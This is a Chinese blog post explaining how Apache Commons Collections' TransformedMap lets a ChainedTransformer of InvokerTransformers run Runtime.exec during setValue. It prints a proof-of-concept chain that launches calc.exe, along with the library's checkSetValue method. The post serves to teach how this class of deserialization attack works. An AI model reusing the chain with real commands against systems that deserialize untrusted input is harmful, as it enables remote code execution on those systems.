java反序列化 - transformedMap类可以执行恶意代码的原理(java反序列化漏洞 修复)

网友投稿 256 2022-10-10


java反序列化 - transformedMap类可以执行恶意代码的原理(java反序列化漏洞 修复)

java反序列化 - transformedMap类可以执行恶意代码的原理

0x00 代码

Map map=new HashMap(); map.put("key","value"); //调用目标对象的toString方法 String command="calc.exe"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs) }; Transformer transformer=new ChainedTransformer(transformers); Map transformedMap=TransformedMap.decorate(map,null,transformer); for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }

0x01 transformedMap类为什么可以执行恶意代码?

通过上一篇可知ChainedTransformer的transformer方法可以执行恶意代码。上述代码的关键是:

for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }

为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:

/** * Override to transform the value when using setValue. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:arp欺骗
下一篇:java反序列化 - Transformer类可以执行恶意代码的原理(java反序列化漏洞特征)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~